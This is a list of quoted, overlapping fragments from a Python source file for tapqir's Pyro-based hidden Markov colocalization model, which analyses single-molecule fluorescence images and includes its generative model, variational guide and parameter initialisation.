") pyro.sample( \"proximity\", AffineBeta( pyro.param(\"proximity_loc\"), pyro.param(\"proximity_size\"), 0, (self.data.P + 1) / math.sqrt(12), ),",
"torch.Tensor: batch_shape = logits.shape[:-2] state_dim = logits.size(-1) result = torch.eye(state_dim).log() result = result.reshape((1,)",
"f\"y_{kdx}_{fsx}\", AffineBeta( 0, Vindex(size)[..., specific], -(self.data.P + 1) / 2, (self.data.P + 1)",
"numerically stably in log space. \"\"\" batch_shape = logits.shape[:-3] state_dim = logits.size(-1) sum_terms",
"data.median - self.data.offset.mean, device=device, ), constraint=constraints.positive, ) pyro.param( \"background_std_loc\", lambda: torch.ones(data.Nt, 1, device=device),",
"torch.full( (1 + self.S, self.K, self.data.Nt, self.data.F), 0.5, device=device, ), constraint=constraints.unit_interval, ) def",
"data.F), 100, device=device), constraint=constraints.greater_than(2.0), ) pyro.param( \"x_mean\", lambda: torch.zeros(self.K, data.Nt, data.F, device=device), constraint=constraints.interval(",
"* pyro.param(\"init_size\")) ) pyro.sample( \"trans\", dist.Dirichlet( pyro.param(\"trans_mean\") * pyro.param(\"trans_size\") ).to_event(1), ) pyro.sample( \"lamda\",",
"for the binder molecules. :param K: Maximum number of spots that can be",
"Vectorize time-dimension. \"\"\" name = \"hmm\" def __init__( self, S: int = 1,",
"state (3,1,1,1) z_probs = ( Vindex(pyro.param(\"z_trans\"))[ndx, fdx, 0] if isinstance(fdx, int) and fdx",
"dim=-3) sum_terms.append(logits) logits = contracted else: sum_terms.append(logits) # handle root case sum_term =",
"pyro.param( \"h_loc\", lambda: torch.full((self.K, data.Nt, data.F), 2000, device=device), constraint=constraints.positive, ) pyro.param( \"h_beta\", lambda:",
"precision. :param use_pykeops: Use pykeops as backend to marginalize out offset. :param vectorized:",
"( pyro.vectorized_markov(name=\"frames\", size=self.data.F, dim=-1) if self.vectorized else pyro.markov(range(self.data.F)) ) with aois as ndx:",
"**Single-Color Hidden Markov Colocalization Model** .. note:: This model is used for kinetic",
"Union import torch import torch.distributions.constraints as constraints from pyro.distributions.hmm import _logmatmulexp from pyro.ops.indexing",
"infer.TraceMarkovEnum_ELBO )(max_plate_nesting=2, ignore_jit_warnings=True) return (infer.JitTraceEnum_ELBO if jit else infer.TraceEnum_ELBO)( max_plate_nesting=2, ignore_jit_warnings=True ) @staticmethod",
"fdx = fdx else: fsx = fdx # sample background intensity pyro.sample( f\"background_{fsx}\",",
"dist.Categorical(z_probs), infer={\"enumerate\": \"parallel\"}, ) for kdx in spots: # spot presence m_probs =",
"but does so numerically stably in log space. \"\"\" batch_shape = logits.shape[:-3] state_dim",
"aois = pyro.plate( \"aois\", self.data.Nt, subsample=self.n, subsample_size=self.nbatch_size, dim=-2, ) # time frames frames",
"1), 2, device=device), constraint=constraints.positive, ) pyro.param( \"gain_loc\", lambda: torch.tensor(5, device=device), constraint=constraints.positive, ) pyro.param(",
"as backend to marginalize out offset. :param vectorized: Vectorize time-dimension. \"\"\" name =",
"constraint=constraints.positive, ) pyro.param( \"h_beta\", lambda: torch.full((self.K, data.Nt, data.F), 0.001, device=device), constraint=constraints.positive, ) pyro.param(",
"AffineBeta( 1.5, 2, 0.75, 2.25, ), ) x = pyro.sample( f\"x_{kdx}_{fsx}\", AffineBeta( 0,",
"frames frames = ( pyro.vectorized_markov(name=\"frames\", size=self.data.F, dim=-1) if self.vectorized else pyro.markov(range(self.data.F)) ) with",
"if self.vectorized: return ( infer.JitTraceMarkovEnum_ELBO if jit else infer.TraceMarkovEnum_ELBO )(max_plate_nesting=2, ignore_jit_warnings=True) return (infer.JitTraceEnum_ELBO",
"left_term new_left_term[..., 1:even_time:2, :, :] = left_sum_and_term left_term = new_left_term else: alphas =",
"dist from pyroapi import handlers, infer, pyro from torch.nn.functional import one_hot from tapqir.distributions",
"True, vectorized: bool = False, ): self.vectorized = vectorized super().__init__(S, K, channels, device,",
"fdx] * Vindex(pyro.param(\"h_beta\"))[kdx, ndx, fdx], Vindex(pyro.param(\"h_beta\"))[kdx, ndx, fdx], ), ) pyro.sample( f\"width_{kdx}_{fsx}\", AffineBeta(",
"1) / 2, ), ) z_prev = z_curr def init_parameters(self): \"\"\" Initialize variational",
"( torch.full_like(proximity, 2.0), (((self.data.P + 1) / (2 * proximity)) ** 2 -",
"logits[..., :even_time, :, :] x_y = even_part.reshape( batch_shape + (even_time // 2, 2,",
"**Reference**: 1. <NAME>, <NAME>, <NAME>, Theobald DL. Bayesian machine learning analysis of single-molecule",
"\"\"\" For a tensor ``x`` whose time dimension is -3, computes:: x[..., 0,",
"dimension is -3, computes:: x[..., 0, :, :] @ x[..., 1, :, :]",
"+ (1, 1)) return result @property def z_probs(self) -> torch.Tensor: r\"\"\" Probability of",
"bool = False, ): self.vectorized = vectorized super().__init__(S, K, channels, device, dtype, use_pykeops)",
"* Vindex(pyro.param(\"h_beta\"))[kdx, ndx, fdx], Vindex(pyro.param(\"h_beta\"))[kdx, ndx, fdx], ), ) pyro.sample( f\"width_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"w_mean\"))[kdx,",
"pyro.param(\"lamda_beta\"), pyro.param(\"lamda_beta\"), ), ) pyro.sample( \"proximity\", AffineBeta( pyro.param(\"proximity_loc\"), pyro.param(\"proximity_size\"), 0, (self.data.P + 1)",
"# aoi sites aois = pyro.plate( \"aois\", self.data.Nt, subsample=self.n, subsample_size=self.nbatch_size, dim=-2, ) #",
"(1+S,) z_probs = ( Vindex(init)[..., :, is_ontarget.long()] if isinstance(fdx, int) and fdx <",
"vectorized: bool = False, ): self.vectorized = vectorized super().__init__(S, K, channels, device, dtype,",
"\"trans_mean\", lambda: torch.ones(self.S + 1, self.S + 1, device=device), constraint=constraints.simplex, ) pyro.param( \"trans_size\",",
"\"proximity_size\", lambda: torch.tensor(100, device=device), constraint=constraints.greater_than(2.0), ) pyro.param( \"lamda_loc\", lambda: torch.tensor(0.5, device=device), constraint=constraints.positive, )",
"x[..., 0, :, :] @ x[..., 1, :, :] @ ... @ x[...,",
"time // 2 * 2 even_part = logits[..., :even_time, :, :] x_y =",
"torch.stack(heights, -1), torch.stack(widths, -1), torch.stack(xs, -1), torch.stack(ys, -1), target_locs, background, gain, self.data.offset.samples, self.data.offset.logits.to(self.dtype),",
"-1:, :, :]), dim=-3) sum_terms.append(logits) logits = contracted else: sum_terms.append(logits) # handle root",
"[] # up sweep while logits.size(-3) > 1: time = logits.size(-3) even_time =",
"left_sum = sum_term[..., :even_time:2, :, :] left_sum_and_term = _logmatmulexp(left_term, left_sum) new_left_term[..., :even_time:2, :,",
"= even_part.reshape( batch_shape + (even_time // 2, 2, state_dim, state_dim) ) x, y",
"result.repeat(batch_shape + (1, 1)) return result @property def z_probs(self) -> torch.Tensor: r\"\"\" Probability",
") pyro.sample( f\"x_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"x_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"size\"))[kdx, ndx, fdx], -(self.data.P + 1)",
"state_dim)) result = result.repeat(batch_shape + (1, 1)) return result @property def z_probs(self) ->",
"1 else Vindex(pyro.param(\"z_trans\"))[ndx, fdx, z_prev] ) z_curr = pyro.sample( f\"z_{fsx}\", dist.Categorical(z_probs), infer={\"enumerate\": \"parallel\"},",
"sample spot variables height = pyro.sample( f\"height_{kdx}_{fsx}\", dist.HalfNormal(10000), ) width = pyro.sample( f\"width_{kdx}_{fsx}\",",
"import handlers, infer, pyro from torch.nn.functional import one_hot from tapqir.distributions import KSMOGN, AffineBeta",
"\"lamda_loc\"] self._global_params = [\"gain\", \"proximity\", \"lamda\", \"trans\"] def model(self): \"\"\" **Generative Model** \"\"\"",
"marginalize out offset. :param vectorized: Vectorize time-dimension. \"\"\" name = \"hmm\" def __init__(",
"colocalization images. bioRxiv. 2021 Oct. doi: `10.1101/2021.09.30.462536 <https://doi.org/10.1101/2021.09.30.462536>`_. :param S: Number of distinct",
"\"lamda_loc\", lambda: torch.tensor(0.5, device=device), constraint=constraints.positive, ) pyro.param( \"lamda_beta\", lambda: torch.tensor(100, device=device), constraint=constraints.positive, )",
"\"parallel\"}, ) for kdx in spots: # spot presence m_probs = Vindex(pyro.param(\"m_probs\"))[z_curr, kdx,",
"pyro.sample(\"gain\", dist.HalfNormal(50)) init = pyro.sample( \"init\", dist.Dirichlet(torch.ones(self.S + 1) / (self.S + 1))",
"is_ontarget.long()] if isinstance(fdx, int) and fdx < 1 else Vindex(trans)[..., z_prev, :, is_ontarget.long()]",
"= ( pyro.vectorized_markov(name=\"frames\", size=self.data.F, dim=-1) if self.vectorized else pyro.markov(range(self.data.F)) ) with aois as",
"2 * 2 even_part = logits[..., :even_time, :, :] x_y = even_part.reshape( batch_shape",
"torch.clamp(z_curr, min=0, max=1) ] ), infer={\"enumerate\": \"parallel\"}, ) onehot_theta = one_hot(theta, num_classes=1 +",
"1) / 2 - torch.finfo(self.dtype).eps, ), ) pyro.param( \"y_mean\", lambda: torch.zeros(self.K, data.Nt, data.F,",
"2 even_part = logits[..., :even_time, :, :] x_y = even_part.reshape( batch_shape + (even_time",
"torch.eye(state_dim).log() result = result.reshape((1,) * len(batch_shape) + (state_dim, state_dim)) result = result.repeat(batch_shape +",
"1, self.S + 1) / (self.S + 1)).to_event( 1 ), ) trans =",
"lambda: torch.ones(data.Nt, data.F, device=device), constraint=constraints.positive, ) pyro.param( \"h_loc\", lambda: torch.full((self.K, data.Nt, data.F), 2000,",
"sample hidden model state (1+S,) z_probs = ( Vindex(init)[..., :, is_ontarget.long()] if isinstance(fdx,",
"background_std = pyro.sample(\"background_std\", dist.HalfNormal(100)) z_prev = None for fdx in frames: if self.vectorized:",
"pyro.param( \"proximity_size\", lambda: torch.tensor(100, device=device), constraint=constraints.greater_than(2.0), ) pyro.param( \"lamda_loc\", lambda: torch.tensor(0.5, device=device), constraint=constraints.positive,",
"sum_terms.append(logits) # handle root case sum_term = sum_terms.pop() left_term = HMM._contraction_identity(sum_term) # down",
"\"gain_beta\", lambda: torch.tensor(100, device=device), constraint=constraints.positive, ) pyro.param( \"background_mean_loc\", lambda: torch.full( (data.Nt, 1), data.median",
"return result @property def z_probs(self) -> torch.Tensor: r\"\"\" Probability of there being a",
"background, gain, self.data.offset.samples, self.data.offset.logits.to(self.dtype), self.data.P, torch.stack(torch.broadcast_tensors(*ms), -1), self.use_pykeops, ), obs=obs, ) z_prev =",
") width = pyro.sample( f\"width_{kdx}_{fsx}\", AffineBeta( 1.5, 2, 0.75, 2.25, ), ) x",
"2, ), ) y = pyro.sample( f\"y_{kdx}_{fsx}\", AffineBeta( 0, Vindex(size)[..., specific], -(self.data.P +",
"data.Nt, data.F, 1 + self.S, 1 + self.S, device=device, ), constraint=constraints.simplex, ) pyro.param(",
"intensity background = pyro.sample( f\"background_{fdx}\", dist.Gamma( (background_mean / background_std) ** 2, background_mean /",
"= pyro.sample( \"trans\", dist.Dirichlet(torch.ones(self.S + 1, self.S + 1) / (self.S + 1)).to_event(",
"# fetch data obs, target_locs, is_ontarget = self.data.fetch(ndx, fdx, self.cdx) # sample background",
"Colocalization Model** .. note:: This model is used for kinetic simulations. Efficient fitting",
"2, ), ) pyro.sample( f\"y_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"y_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"size\"))[kdx, ndx, fdx], -(self.data.P",
"(self.S + 1)) ) init = expand_offtarget(init) trans = pyro.sample( \"trans\", dist.Dirichlet(torch.ones(self.S +",
") pyro.sample( f\"width_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"w_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"w_size\"))[kdx, ndx, fdx], 0.75, 2.25, ),",
"\"\"\" Initialize variational parameters. \"\"\" device = self.device data = self.data pyro.param( \"proximity_loc\",",
"color channels. :param device: Computation device (cpu or gpu). :param dtype: Floating point",
"( infer.JitTraceMarkovEnum_ELBO if jit else infer.TraceMarkovEnum_ELBO )(max_plate_nesting=2, ignore_jit_warnings=True) return (infer.JitTraceEnum_ELBO if jit else",
"+ 1) / (2 * proximity)) ** 2 - 1), ), dim=-1, )",
"width = pyro.sample( f\"width_{kdx}_{fsx}\", AffineBeta( 1.5, 2, 0.75, 2.25, ), ) x =",
"Vindex(pyro.param(\"z_trans\"))[ndx, fdx, 0] if isinstance(fdx, int) and fdx < 1 else Vindex(pyro.param(\"z_trans\"))[ndx, fdx,",
"fdx # sample background intensity pyro.sample( f\"background_{fsx}\", dist.Gamma( Vindex(pyro.param(\"b_loc\"))[ndx, fdx] * Vindex(pyro.param(\"b_beta\"))[ndx, fdx],",
"fdx # fetch data obs, target_locs, is_ontarget = self.data.fetch(ndx, fdx, self.cdx) # sample",
"\"\"\" **Variational Distribution** \"\"\" # global parameters pyro.sample( \"gain\", dist.Gamma( pyro.param(\"gain_loc\") * pyro.param(\"gain_beta\"),",
"fdx < 1 else Vindex(trans)[..., z_prev, :, is_ontarget.long()] ) z_curr = pyro.sample(f\"z_{fsx}\", dist.Categorical(z_probs))",
"isinstance(fdx, int) and fdx < 1 else Vindex(trans)[..., z_prev, :, is_ontarget.long()] ) z_curr",
"state_dim) ) x, y = x_y.unbind(-3) contracted = _logmatmulexp(x, y) if time >",
"- 1 : time, :, :] = left_term[ ..., even_time // 2 :",
"z_prev] ) z_curr = pyro.sample( f\"z_{fsx}\", dist.Categorical(z_probs), infer={\"enumerate\": \"parallel\"}, ) for kdx in",
"SPDX-License-Identifier: Apache-2.0 \"\"\" hmm ^^^ \"\"\" import math from typing import Union import",
"target-specific spot :math:`p(z=1)` \"\"\" result = self._sequential_logmatmulexp(pyro.param(\"z_trans\").data.log()) return result[..., 0, 1].exp() @property def",
") pyro.param( \"h_beta\", lambda: torch.full((self.K, data.Nt, data.F), 0.001, device=device), constraint=constraints.positive, ) pyro.param( \"w_mean\",",
"if self.vectorized: fsx, fdx = fdx else: fsx = fdx # fetch data",
"_logmatmulexp from pyro.ops.indexing import Vindex from pyroapi import distributions as dist from pyroapi",
"kdx in spots: specific = onehot_theta[..., 1 + kdx] # spot presence m",
"f\"background_{fsx}\", dist.Gamma( Vindex(pyro.param(\"b_loc\"))[ndx, fdx] * Vindex(pyro.param(\"b_beta\"))[ndx, fdx], Vindex(pyro.param(\"b_beta\"))[ndx, fdx], ), ) # sample",
"state_dim = logits.size(-1) sum_terms = [] # up sweep while logits.size(-3) > 1:",
"fdx], Vindex(pyro.param(\"b_beta\"))[ndx, fdx], ), ) # sample hidden model state (3,1,1,1) z_probs =",
"# down sweep while sum_terms: sum_term = sum_terms.pop() new_left_term = HMM._contraction_identity(sum_term) time =",
"pyro.param( \"lamda_beta\", lambda: torch.tensor(100, device=device), constraint=constraints.positive, ) pyro.param( \"init_mean\", lambda: torch.ones(self.S + 1,",
"ndx, fdx], ), ) pyro.sample( f\"width_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"w_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"w_size\"))[kdx, ndx, fdx],",
"lambda: torch.full((self.K, data.Nt, data.F), 200, device=device), constraint=constraints.greater_than(2.0), ) # classification pyro.param( \"z_trans\", lambda:",
"int = 2, channels: Union[tuple, list] = (0,), device: str = \"cpu\", dtype:",
"\"hmm\" def __init__( self, S: int = 1, K: int = 2, channels:",
"+ self.K) ms, heights, widths, xs, ys = [], [], [], [], []",
"Vindex(pyro.param(\"b_beta\"))[ndx, fdx], ), ) # sample hidden model state (3,1,1,1) z_probs = (",
"_logmatmulexp(left_term, left_sum) new_left_term[..., :even_time:2, :, :] = left_term new_left_term[..., 1:even_time:2, :, :] =",
"- torch.finfo(self.dtype).eps, ), ) pyro.param( \"y_mean\", lambda: torch.zeros(self.K, data.Nt, data.F, device=device), constraint=constraints.interval( -(data.P",
"torch.full((self.S + 1, 1), 2, device=device), constraint=constraints.positive, ) pyro.param( \"gain_loc\", lambda: torch.tensor(5, device=device),",
"x = pyro.sample( f\"x_{kdx}_{fsx}\", AffineBeta( 0, Vindex(size)[..., specific], -(self.data.P + 1) / 2,",
"implementation of ELBO-based SVI that supports - exhaustive enumeration over discrete sample sites,",
"(data.Nt, 1), data.median - self.data.offset.mean, device=device, ), constraint=constraints.positive, ) pyro.param( \"background_std_loc\", lambda: torch.ones(data.Nt,",
"state (1+S,) z_probs = ( Vindex(init)[..., :, is_ontarget.long()] if isinstance(fdx, int) and fdx",
"torch.cat((contracted, logits[..., -1:, :, :]), dim=-3) sum_terms.append(logits) logits = contracted else: sum_terms.append(logits) #",
") pyro.sample( \"init\", dist.Dirichlet(pyro.param(\"init_mean\") * pyro.param(\"init_size\")) ) pyro.sample( \"trans\", dist.Dirichlet( pyro.param(\"trans_mean\") * pyro.param(\"trans_size\")",
"m_probs = Vindex(pyro.param(\"m_probs\"))[z_curr, kdx, ndx, fdx] m = pyro.sample( f\"m_{kdx}_{fsx}\", dist.Categorical(m_probs), infer={\"enumerate\": \"parallel\"},",
"AffineBeta( Vindex(pyro.param(\"w_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"w_size\"))[kdx, ndx, fdx], 0.75, 2.25, ), ) pyro.sample( f\"x_{kdx}_{fsx}\",",
"even_time // 2 + 1, :, : ] left_term = left_term[..., : even_time",
"new_left_term[..., time - 1 : time, :, :] = left_term[ ..., even_time //",
"dist.HalfNormal(1000)) background_std = pyro.sample(\"background_std\", dist.HalfNormal(100)) z_prev = None for fdx in frames: if",
"* pyro.param(\"trans_size\") ).to_event(1), ) pyro.sample( \"lamda\", dist.Gamma( pyro.param(\"lamda_loc\") * pyro.param(\"lamda_beta\"), pyro.param(\"lamda_beta\"), ), )",
"variables height = pyro.sample( f\"height_{kdx}_{fsx}\", dist.HalfNormal(10000), ) width = pyro.sample( f\"width_{kdx}_{fsx}\", AffineBeta( 1.5,",
"sample site in the guide. \"\"\" if self.vectorized: return ( infer.JitTraceMarkovEnum_ELBO if jit",
"ndx: ndx = ndx[:, None] pyro.sample( \"background_mean\", dist.Delta(Vindex(pyro.param(\"background_mean_loc\"))[ndx, 0]), ) pyro.sample( \"background_std\", dist.Delta(Vindex(pyro.param(\"background_std_loc\"))[ndx,",
"does so numerically stably in log space. \"\"\" batch_shape = logits.shape[:-3] state_dim =",
"ignore_jit_warnings=True ) @staticmethod def _sequential_logmatmulexp(logits: torch.Tensor) -> torch.Tensor: \"\"\" For a tensor ``x``",
"2, (self.data.P + 1) / 2, ), ) z_prev = z_curr def init_parameters(self):",
"import one_hot from tapqir.distributions import KSMOGN, AffineBeta from tapqir.distributions.util import expand_offtarget, probs_m, probs_theta",
"\"parallel\"}, ) with handlers.mask(mask=m > 0): # sample spot variables pyro.sample( f\"height_{kdx}_{fsx}\", dist.Gamma(",
"1) / 2, (self.data.P + 1) / 2, ), ) z_prev = z_curr",
"the guide. \"\"\" if self.vectorized: return ( infer.JitTraceMarkovEnum_ELBO if jit else infer.TraceMarkovEnum_ELBO )(max_plate_nesting=2,",
"as constraints from pyro.distributions.hmm import _logmatmulexp from pyro.ops.indexing import Vindex from pyroapi import",
"( Vindex(init)[..., :, is_ontarget.long()] if isinstance(fdx, int) and fdx < 1 else Vindex(trans)[...,",
"2021 Oct. doi: `10.1101/2021.09.30.462536 <https://doi.org/10.1101/2021.09.30.462536>`_. :param S: Number of distinct molecular states for",
"x_y = even_part.reshape( batch_shape + (even_time // 2, 2, state_dim, state_dim) ) x,",
"data.median - self.data.offset.mean, device=device, ), constraint=constraints.positive, ) pyro.param( \"b_beta\", lambda: torch.ones(data.Nt, data.F, device=device),",
"0, 1].exp() @property def pspecific(self) -> torch.Tensor: r\"\"\" Probability of there being a",
"in spots: specific = onehot_theta[..., 1 + kdx] # spot presence m =",
"import distributions as dist from pyroapi import handlers, infer, pyro from torch.nn.functional import",
"torch.full((self.K, data.Nt, data.F), 100, device=device), constraint=constraints.greater_than(2.0), ) pyro.param( \"x_mean\", lambda: torch.zeros(self.K, data.Nt, data.F,",
"import torch.distributions.constraints as constraints from pyro.distributions.hmm import _logmatmulexp from pyro.ops.indexing import Vindex from",
"left_term = new_left_term else: alphas = _logmatmulexp(left_term, sum_term) return alphas @staticmethod def _contraction_identity(logits:",
"target_locs, background, gain, self.data.offset.samples, self.data.offset.logits.to(self.dtype), self.data.P, torch.stack(torch.broadcast_tensors(*ms), -1), self.use_pykeops, ), obs=obs, ) z_prev",
":even_time, :, :] x_y = even_part.reshape( batch_shape + (even_time // 2, 2, state_dim,",
"project. # SPDX-License-Identifier: Apache-2.0 \"\"\" hmm ^^^ \"\"\" import math from typing import",
"y) if time > even_time: contracted = torch.cat((contracted, logits[..., -1:, :, :]), dim=-3)",
"lamda = pyro.sample(\"lamda\", dist.Exponential(1)) proximity = pyro.sample(\"proximity\", dist.Exponential(1)) size = torch.stack( ( torch.full_like(proximity,",
"ndx, fdx], -(self.data.P + 1) / 2, (self.data.P + 1) / 2, ),",
"time = logits.size(-3) even_time = time // 2 * 2 even_part = logits[...,",
"contracted = _logmatmulexp(x, y) if time > even_time: contracted = torch.cat((contracted, logits[..., -1:,",
"torch.full_like(proximity, 2.0), (((self.data.P + 1) / (2 * proximity)) ** 2 - 1),",
"= pyro.sample( f\"theta_{fdx}\", dist.Categorical( Vindex(probs_theta(self.K, self.device))[ torch.clamp(z_curr, min=0, max=1) ] ), infer={\"enumerate\": \"parallel\"},",
"yet supported. **Reference**: 1. <NAME>, <NAME>, <NAME>, Theobald DL. Bayesian machine learning analysis",
"trans = pyro.sample( \"trans\", dist.Dirichlet(torch.ones(self.S + 1, self.S + 1) / (self.S +",
"constraint=constraints.greater_than(2.0), ) # classification pyro.param( \"z_trans\", lambda: torch.ones( data.Nt, data.F, 1 + self.S,",
"\"gain_loc\", lambda: torch.tensor(5, device=device), constraint=constraints.positive, ) pyro.param( \"gain_beta\", lambda: torch.tensor(100, device=device), constraint=constraints.positive, )",
"kdx]), ) with handlers.mask(mask=m > 0): # sample spot variables height = pyro.sample(",
"pyro.sample( f\"width_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"w_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"w_size\"))[kdx, ndx, fdx], 0.75, 2.25, ), )",
"dist.Categorical( Vindex(probs_theta(self.K, self.device))[ torch.clamp(z_curr, min=0, max=1) ] ), infer={\"enumerate\": \"parallel\"}, ) onehot_theta =",
"* 2 if time > even_time: new_left_term[..., time - 1 : time, :,",
"from typing import Union import torch import torch.distributions.constraints as constraints from pyro.distributions.hmm import",
":, :] but does so numerically stably in log space. \"\"\" batch_shape =",
"images. bioRxiv. 2021 Oct. doi: `10.1101/2021.09.30.462536 <https://doi.org/10.1101/2021.09.30.462536>`_. :param S: Number of distinct molecular",
"\"init\", dist.Dirichlet(pyro.param(\"init_mean\") * pyro.param(\"init_size\")) ) pyro.sample( \"trans\", dist.Dirichlet( pyro.param(\"trans_mean\") * pyro.param(\"trans_size\") ).to_event(1), )",
"* Vindex(pyro.param(\"b_beta\"))[ndx, fdx], Vindex(pyro.param(\"b_beta\"))[ndx, fdx], ), ) # sample hidden model state (3,1,1,1)",
"logits.size(-1) result = torch.eye(state_dim).log() result = result.reshape((1,) * len(batch_shape) + (state_dim, state_dim)) result",
"= left_term new_left_term[..., 1:even_time:2, :, :] = left_sum_and_term left_term = new_left_term else: alphas",
"pyro.sample( f\"height_{kdx}_{fsx}\", dist.Gamma( Vindex(pyro.param(\"h_loc\"))[kdx, ndx, fdx] * Vindex(pyro.param(\"h_beta\"))[kdx, ndx, fdx], Vindex(pyro.param(\"h_beta\"))[kdx, ndx, fdx],",
"Vindex(pyro.param(\"b_beta\"))[ndx, fdx], Vindex(pyro.param(\"b_beta\"))[ndx, fdx], ), ) # sample hidden model state (3,1,1,1) z_probs",
"+ self.S, device=device, ), constraint=constraints.simplex, ) pyro.param( \"m_probs\", lambda: torch.full( (1 + self.S,",
"+ 1) / 2, (self.data.P + 1) / 2, ), ) pyro.sample( f\"y_{kdx}_{fsx}\",",
"stably in log space. \"\"\" batch_shape = logits.shape[:-3] state_dim = logits.size(-1) sum_terms =",
"), ) # append ms.append(m) heights.append(height) widths.append(width) xs.append(x) ys.append(y) # observed data pyro.sample(",
"(data.Nt, data.F), data.median - self.data.offset.mean, device=device, ), constraint=constraints.positive, ) pyro.param( \"b_beta\", lambda: torch.ones(data.Nt,",
"z_prev = z_curr def init_parameters(self): \"\"\" Initialize variational parameters. \"\"\" device = self.device",
"* proximity)) ** 2 - 1), ), dim=-1, ) # spots spots =",
"= \"double\", use_pykeops: bool = True, vectorized: bool = False, ): self.vectorized =",
"\"m_probs\", lambda: torch.full( (1 + self.S, self.K, self.data.Nt, self.data.F), 0.5, device=device, ), constraint=constraints.unit_interval,",
"[], [], [] for kdx in spots: specific = onehot_theta[..., 1 + kdx]",
"note:: This model is used for kinetic simulations. Efficient fitting is not yet",
"self.device data = self.data pyro.param( \"proximity_loc\", lambda: torch.tensor(0.5, device=device), constraint=constraints.interval( 0, (self.data.P +",
"device=device), constraint=constraints.positive, ) pyro.param( \"init_mean\", lambda: torch.ones(self.S + 1, device=device), constraint=constraints.simplex, ) pyro.param(",
"pyro.param( \"gain_loc\", lambda: torch.tensor(5, device=device), constraint=constraints.positive, ) pyro.param( \"gain_beta\", lambda: torch.tensor(100, device=device), constraint=constraints.positive,",
"Oct. doi: `10.1101/2021.09.30.462536 <https://doi.org/10.1101/2021.09.30.462536>`_. :param S: Number of distinct molecular states for the",
"KSMOGN( torch.stack(heights, -1), torch.stack(widths, -1), torch.stack(xs, -1), torch.stack(ys, -1), target_locs, background, gain, self.data.offset.samples,",
"= new_left_term else: alphas = _logmatmulexp(left_term, sum_term) return alphas @staticmethod def _contraction_identity(logits: torch.Tensor)",
"= pyro.sample( f\"x_{kdx}_{fsx}\", AffineBeta( 0, Vindex(size)[..., specific], -(self.data.P + 1) / 2, (self.data.P",
"device=device), constraint=constraints.positive, ) pyro.param( \"gain_loc\", lambda: torch.tensor(5, device=device), constraint=constraints.positive, ) pyro.param( \"gain_beta\", lambda:",
"= None for fdx in frames: if self.vectorized: fsx, fdx = fdx else:",
"torch.ones(self.S + 1, self.S + 1, device=device), constraint=constraints.simplex, ) pyro.param( \"trans_size\", lambda: torch.full((self.S",
"pyro.sample( \"init\", dist.Dirichlet(torch.ones(self.S + 1) / (self.S + 1)) ) init = expand_offtarget(init)",
"- torch.finfo(self.dtype).eps, ), ) pyro.param( \"proximity_size\", lambda: torch.tensor(100, device=device), constraint=constraints.greater_than(2.0), ) pyro.param( \"lamda_loc\",",
"z_probs(self) -> torch.Tensor: r\"\"\" Probability of there being a target-specific spot :math:`p(z=1)` \"\"\"",
"str = \"double\", use_pykeops: bool = True, vectorized: bool = False, ): self.vectorized",
"min=0, max=1) ] ), infer={\"enumerate\": \"parallel\"}, ) onehot_theta = one_hot(theta, num_classes=1 + self.K)",
"1)) return result @property def z_probs(self) -> torch.Tensor: r\"\"\" Probability of there being",
"2.0), (((self.data.P + 1) / (2 * proximity)) ** 2 - 1), ),",
"f\"x_{kdx}_{fsx}\", AffineBeta( 0, Vindex(size)[..., specific], -(self.data.P + 1) / 2, (self.data.P + 1)",
"kdx, ndx, fdx] m = pyro.sample( f\"m_{kdx}_{fsx}\", dist.Categorical(m_probs), infer={\"enumerate\": \"parallel\"}, ) with handlers.mask(mask=m",
"from torch.nn.functional import one_hot from tapqir.distributions import KSMOGN, AffineBeta from tapqir.distributions.util import expand_offtarget,",
"expand_offtarget(init) trans = pyro.sample( \"trans\", dist.Dirichlet(torch.ones(self.S + 1, self.S + 1) / (self.S",
"super().__init__(S, K, channels, device, dtype, use_pykeops) self.conv_params = [\"-ELBO\", \"proximity_loc\", \"gain_loc\", \"lamda_loc\"] self._global_params",
"pyro.param( \"w_mean\", lambda: torch.full((self.K, data.Nt, data.F), 1.5, device=device), constraint=constraints.interval( 0.75 + torch.finfo(self.dtype).eps, 2.25",
"@property def z_probs(self) -> torch.Tensor: r\"\"\" Probability of there being a target-specific spot",
"so numerically stably in log space. \"\"\" batch_shape = logits.shape[:-3] state_dim = logits.size(-1)",
"\"background_std_loc\", lambda: torch.ones(data.Nt, 1, device=device), constraint=constraints.positive, ) pyro.param( \"b_loc\", lambda: torch.full( (data.Nt, data.F),",
"torch.Tensor: \"\"\" For a tensor ``x`` whose time dimension is -3, computes:: x[...,",
"self.data.offset.mean, device=device, ), constraint=constraints.positive, ) pyro.param( \"background_std_loc\", lambda: torch.ones(data.Nt, 1, device=device), constraint=constraints.positive, )",
"device=device), constraint=constraints.positive, ) pyro.param( \"trans_mean\", lambda: torch.ones(self.S + 1, self.S + 1, device=device),",
"pyro.param( \"b_loc\", lambda: torch.full( (data.Nt, data.F), data.median - self.data.offset.mean, device=device, ), constraint=constraints.positive, )",
"Vindex(probs_theta(self.K, self.device))[ torch.clamp(z_curr, min=0, max=1) ] ), infer={\"enumerate\": \"parallel\"}, ) onehot_theta = one_hot(theta,",
") pyro.param( \"trans_mean\", lambda: torch.ones(self.S + 1, self.S + 1, device=device), constraint=constraints.simplex, )",
"A trace implementation of ELBO-based SVI that supports - exhaustive enumeration over discrete",
"/ 2, ), ) # append ms.append(m) heights.append(height) widths.append(width) xs.append(x) ys.append(y) # observed",
"torch import torch.distributions.constraints as constraints from pyro.distributions.hmm import _logmatmulexp from pyro.ops.indexing import Vindex",
"time - 1 : time, :, :] = left_term[ ..., even_time // 2",
"torch.finfo(self.dtype).eps, 2.25 - torch.finfo(self.dtype).eps, ), ) pyro.param( \"w_size\", lambda: torch.full((self.K, data.Nt, data.F), 100,",
"2, channels: Union[tuple, list] = (0,), device: str = \"cpu\", dtype: str =",
